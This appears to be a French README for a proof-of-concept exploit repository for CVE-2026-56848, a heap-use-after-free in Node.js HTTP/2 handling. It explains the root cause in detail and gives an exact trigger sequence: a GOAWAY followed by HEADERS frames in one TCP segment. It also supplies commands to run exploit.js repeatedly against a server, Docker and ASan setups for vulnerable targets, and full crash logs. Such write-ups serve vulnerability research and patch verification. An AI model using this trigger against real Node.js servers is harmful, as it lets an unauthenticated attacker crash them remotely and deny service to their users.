
Exploit PoC pour CVE-2026-56848, une vulnérabilité heap-use-after-free de Node.js HTTP/2 permettant un déni de service (DoS) à distance sans authentification. Inclut un déclencheur raw-socket, des instructions de compilation ASan et une cible basée sur Docker.
Une faille dans la gestion HTTP/2 de Node.js permet à
nghttp2_session_mem_send()d'être appelée de manière réentrante pendant quenghttp2_session_mem_recv()est en cours d'exécution, ce qui entraîne un heap-use-after-free.Cette vulnérabilité affecte Node.js 26.x, 24.x et 22.x.
(Remarque : les versions mentionnées dans la description s'appliquent uniquement au paquet nodejs amont et non au paquet nodejs tel que distribué par Alpine.
| Ligne de version | Vulnérable | Corrigé |
|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — DoS à distance, non authentifié, via corruption du tas)daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)Http2Stream::SubmitRstStream() dans src/node_http2.cc force une purge des données sortantes en attente avant de mettre le RST_STREAM en file d'attente :```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }
// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }
FlushRstStream(); }
`SendPendingData()` appelle `nghttp2_session_mem_send()` ([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)). Sa seule protection contre la réentrance est `is_sending()`, qui protège contre *un envoi pendant un envoi* (une écriture déjà en cours) — **pas contre un envoi pendant une réception**. Quand `SubmitRstStream()` s’exécute depuis l’intérieur d’une chaîne de callbacks `nghttp2_session_mem_recv()` (dans la portée), la purge exécute `mem_send()` de manière réentrante.
Le `mem_send()` réentrant transmet les trames dont le traitement côté envoi détruit les flux (`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → libération du `Http2Stream` C++). Le flux libéré est toujours référencé par l’opération de réception en cours : `SubmitRstStream()` lui-même continue de s’exécuter sur le `this` libéré (son `FlushRstStream()` final lit `is_destroyed()`), et le `mem_recv()` externe continue de parcourir l’état des trames/en-têtes du flux fermé → **heap-use-after-free**.
### Chaîne de déclenchement (le tout dans un seul appel `nghttp2_session_mem_recv()`)
1. L’attaquant envoie `GOAWAY(lastStreamID=0, NO_ERROR)` immédiatement suivi de trames `HEADERS` pour de nouveaux flux (3, 5, 7, …) dans un seul segment TCP.
2. Le `mem_recv()` du serveur traite GOAWAY → JS `session.close()` → `session.closed = true` et un GOAWAY sortant est **soumis mais pas encore envoyé**.
3. nghttp2 ne refuse les nouveaux flux entrants qu’une fois que GOAWAY est effectivement *envoyé* (`session_allow_incoming_new_stream()` vérifie `TERM_ON_SEND | SENT`, pas `SUBMITTED`), donc `HEADERS(3)` est encore accepté.
4. `onSessionHeaders()` côté JS voit un nouveau flux sur une session fermée et le refuse : `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js).
5. Le `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` C++ s’exécute dans la portée (dans `mem_recv`), `REFUSED_STREAM ≠ CANCEL` → enchaîne sur `SendPendingData()` → **`nghttp2_session_mem_send()` réentrant**.
6. L’envoi réentrant transmet le GOAWAY sortant ; le traitement du GOAWAY par nghttp2 côté envoi ferme les flux entrants avec id > 1 (`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`), déclenchant `on_stream_close` → `Http2Stream::Destroy()` libère l’objet flux C++ du flux 3.
7. L’exécution retourne dans `SubmitRstStream()` sur l’objet libéré (`FlushRstStream()`), et le `mem_recv()` externe reprend sur un état session/flux corrompu → UAF.
Preuve avec `NODE_DEBUG_NATIVE=http2` sur un serveur vulnérable (une lecture de 86 octets) :```
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
La sortie au niveau du fil est identique sur les builds vulnérables et corrigés (les deux finissent par n'envoyer que le GOAWAY sortant — sur les builds vulnérables, le RST est soumis contre un flux déjà fermé, sur les builds corrigés, nghttp2 abandonne les RST en file d'attente une fois le GOAWAY envoyé en premier). La différence est interne, visible avec NODE_DEBUG_NATIVE=http2 :
sending pending data apparaît entre sending rst_stream with code 7 et stream 3 closed with code: 7 — le mem_send() réentrant s'exécute en pleine réception et ferme/détruit le flux 3 pendant que mem_recv() est toujours en vol (crash sous ASan).sending pending data entre les deux — le RST est simplement mis en file d'attente ; le flux 3 ne se ferme que lors du flush normal post-réception.server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger
### Exécution rapide```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node (la compilation ASan locale utilisée ci-dessous) n'est pas suivi dans git — compilez-le
avec les instructions de la section "Compilation d'un Node.js vulnérable instrumenté avec ASan",
ou passez par Docker.
L'exploit rapporte le statut de chaque connexion ; SKIPPED (no handshake) après la première
connexion signifie que la cible a déjà succombé à l'attaque.
Le Dockerfile construit une cible vulnérable v22.23.1 avec ASan dans un conteneur (aucune chaîne d'outils locale n'est nécessaire — seul le démon Docker est requis) :```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
node exploit.js --port 8000 --iterations 10
docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
Astuce : si vous avez déjà un binaire `node` instrumenté avec ASan construit ailleurs, sautez la
compilation longue et empaquetez-le directement :```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
Vérifié contre la cible conteneurisée : la première connexion d'attaque produit ERROR: AddressSanitizer: heap-use-after-free ... ABORTING dans docker logs et le conteneur se termine (133 sur linux/arm64) — même UAF que l'exécution ASan native.
Variante simple (non-ASan) utilisant une image officielle, pour marteler sans build personnalisé :```bash
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000
Remarque : si ASan ne démarre pas dans le conteneur avec une erreur de plage de mémoire shadow (observée sur certains noyaux ARM64 avec un `vm.mmap_rnd_bits` élevé), réduisez l'entropie sur l'hôte Docker : `sysctl vm.mmap_rnd_bits=28`.
### Construction d'un Node.js vulnérable instrumenté avec ASan```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
La compilation ASan reproduit le heap-use-after-free de manière déterministe (généralement dès les premières connexions). Les compilations release simples ne plantent généralement pas car le chunk libéré n'est pas immédiatement réutilisé ; marteler le serveur augmente les chances, mais ASan est le moyen fiable de démontrer la corruption.
| Cible | Résultat |
|---|---|
| v22.23.1 + ASan (vulnérable) | Plante à la première connexion d'attaque: heap-use-after-free → SIGABRT, runner exit 0 |
| v22.23.2 (corrigé) | Survit à toutes les connexions, runner exit 1 |
Rapport ASan (extrait, build v22.23.1 macOS arm64):``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0 #0 session_end_stream_headers_received nghttp2_session.c:3711 #1 session_after_header_block_received nghttp2_session.c:3824 #2 nghttp2_session_mem_recv2 nghttp2_session.c:6506 #3 nghttp2_session_mem_recv nghttp2_session.c:5421 #4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
freed by thread T0 here: ... #5 nghttp2_session_destroy_stream nghttp2_session.c:1369 #6 nghttp2_session_close_stream nghttp2_session.c:1350 #7 session_close_stream_on_goaway nghttp2_session.c:2442 #8 session_after_frame_sent1 nghttp2_session.c:2665 #9 nghttp2_session_mem_send2 nghttp2_session.c:3144 ← re-entrant send #10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970 #11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535
Le `mem_recv()` externe lit `stream->shut_flags` à partir du `nghttp2_stream` du flux 3 — libéré par le traitement GOAWAY du `mem_send()` réentrant — exactement la réentrance décrite dans l'avis.```zsh
➜ ./bin/node server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
#0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
#1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
#2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#10 0x0001085e025c in uv__read stream.c:1148
#11 0x0001085d5568 in uv__stream_io stream.c:1208
#12 0x000108600844 in uv__io_poll kqueue.c:423
#13 0x000108599e94 in uv_run core.c:460
#14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#19 0x00010928e3d4 in main node_main.cc:97
#20 0x000189482b94 (<unknown module>)
0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
#0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
#1 0x000104bebe3c in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:261
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f80 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::FreeImpl(void*, void*) node_mem-inl.h:83
#4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
#5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
#7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
#8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
#9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
#10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
#11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
#13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo<v8::Value> const&) node_http2.cc:3044
#14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
#15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
#16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
#17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
#18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
#19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) execution.cc:504
#20 0x00010590caac in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) api.cc:5485
#21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context, v8::Local<v8::Value>) callback.cc:237
#22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local<v8::Function>, int, v8::Local<v8::Value>*) async_wrap.cc:665
#23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
#24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
#25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
#26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
#27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
previously allocated by thread T0 here:
#0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000104bebe58 in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:265
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f3c in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::MallocImpl(unsigned long, void*) node_mem-inl.h:77
#4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
#5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
#6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
#7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
#8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
#9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#16 0x0001085e025c in uv__read stream.c:1148
#17 0x0001085d5568 in uv__stream_io stream.c:1208
#18 0x000108600844 in uv__io_poll kqueue.c:423
#19 0x000108599e94 in uv_run core.c:460
#20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#25 0x00010928e3d4 in main node_main.cc:97
#26 0x000189482b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==46874==ABORTING
[1] 46874 abort ./bin/node server.js 8000